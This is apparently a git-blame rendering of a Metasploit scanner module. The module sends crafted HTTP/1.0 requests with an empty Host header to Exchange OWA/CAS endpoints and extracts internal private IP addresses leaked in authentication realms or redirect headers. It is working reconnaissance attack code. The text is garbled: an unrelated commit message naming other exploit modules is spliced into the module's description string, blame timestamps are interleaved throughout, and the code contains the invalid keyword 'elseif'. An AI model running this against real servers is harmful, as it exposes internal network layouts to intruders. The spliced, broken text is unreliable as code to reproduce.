2015-04-15 21:55:19 +00:00
|
|
|
##
|
2015-04-15 21:58:18 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2015-04-15 21:55:19 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
|
|
|
|
'Description' => %q{
|
Various post-commit fixups
Edited modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb first landed
in #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys
Edited modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
first landed in #5192, @joevennix's module for Safari CVE-2015-1126
Edited modules/auxiliary/gather/java_rmi_registry.rb first landed in
Edited modules/auxiliary/gather/ssllabs_scan.rb first landed in #5016,
add SSL Labs scanner
Edited modules/auxiliary/scanner/http/goahead_traversal.rb first landed
in #5101, Add Directory Traversal for GoAhead Web Server
Edited modules/auxiliary/scanner/http/owa_iis_internal_ip.rb first
landed in #5158, OWA internal IP disclosure scanner
Edited modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb
first landed in #5159, WordPress Mobile Edition Plugin File Read Vuln
Edited modules/exploits/linux/http/multi_ncc_ping_exec.rb first landed
in #4924, @m-1-k-3's DLink CVE-2015-1187 exploit
Edited modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb first
landed in #5131, WordPress Slideshow Upload
Edited modules/exploits/windows/local/run_as.rb first landed in #4649,
improve post/windows/manage/run_as and as an exploit
(These results courtesy of a delightful git alias, here:
```
cleanup-prs = !"for i in `git status | grep modules | sed
s/#.*modules/modules/`; do echo -n \"Edited $i first landed in \" && git
log --oneline --first-parent $i | tail -1 | sed 's/.*Land //' && echo
''; done"
```
So that's kind of fun.
2015-05-06 16:39:15 +00:00
|
|
|
This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003,
|
|
|
|
CAS 2007, 2010, 2013 servers.
|
2015-04-15 21:55:19 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Nate Power'
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 17 2012',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'DefaultOptions' => {
|
|
|
|
'SSL' => true
|
|
|
|
}
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
|
|
|
|
OptInt.new('RPORT', [ true, "The target port", 443]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(target_host)
|
|
|
|
rhost = target_host
|
|
|
|
print_status("#{msg} Checking HTTP headers")
|
|
|
|
get_ip_extract
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_ip_extract
|
|
|
|
urls = ["/Microsoft-Server-ActiveSync/default.eas",
|
|
|
|
"/Microsoft-Server-ActiveSync",
|
|
|
|
"/Autodiscover/Autodiscover.xml",
|
|
|
|
"/Autodiscover",
|
|
|
|
"/Exchange",
|
|
|
|
"/Rpc",
|
|
|
|
"/EWS/Exchange.asmx",
|
|
|
|
"/EWS/Services.wsdl",
|
|
|
|
"/EWS",
|
|
|
|
"/ecp",
|
|
|
|
"/OAB",
|
|
|
|
"/OWA",
|
|
|
|
"/aspnet_client",
|
|
|
|
"/PowerShell"]
|
|
|
|
|
|
|
|
result = nil
|
|
|
|
|
|
|
|
urls.each do |url|
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'version' => "1.0",
|
|
|
|
'uri' => "#{url}",
|
|
|
|
'method' => 'GET',
|
|
|
|
'vhost' => ''
|
|
|
|
}, timeout = datastore['TIMEOUT'])
|
2015-04-15 21:58:59 +00:00
|
|
|
|
2015-04-15 21:55:19 +00:00
|
|
|
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
|
|
|
print_error("#{msg} HTTP Connection Failed")
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
if not res
|
|
|
|
print_error("#{msg} HTTP Connection Timeout")
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
|
|
|
|
result = match.captures[0]
|
|
|
|
print_status("#{msg} Status Code: 401 response")
|
|
|
|
print_status("#{msg} Found Path: " + url )
|
|
|
|
print_good("#{msg} Found target internal IP address: " + result)
|
|
|
|
return result
|
|
|
|
elseif
|
|
|
|
print_warning("#{msg} No internal address found")
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
2015-04-16 04:47:03 +00:00
|
|
|
if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^https?:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
|
2015-04-15 21:55:19 +00:00
|
|
|
result = match.captures[0]
|
|
|
|
print_status("#{msg} Status Code: #{res.code} response")
|
|
|
|
print_status("#{msg} Found Path: " + url )
|
|
|
|
print_good("#{msg} Found target internal IP address: " + result)
|
|
|
|
return result
|
|
|
|
elseif
|
|
|
|
print_warning("#{msg} No internal address found")
|
|
|
|
next
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if result.nil?
|
|
|
|
print_warning("#{msg} Nothing found")
|
|
|
|
end
|
|
|
|
|
|
|
|
return result
|
|
|
|
end
|
|
|
|
def msg
|
|
|
|
"#{rhost}:#{rport} -"
|
|
|
|
end
|
|
|
|
end
|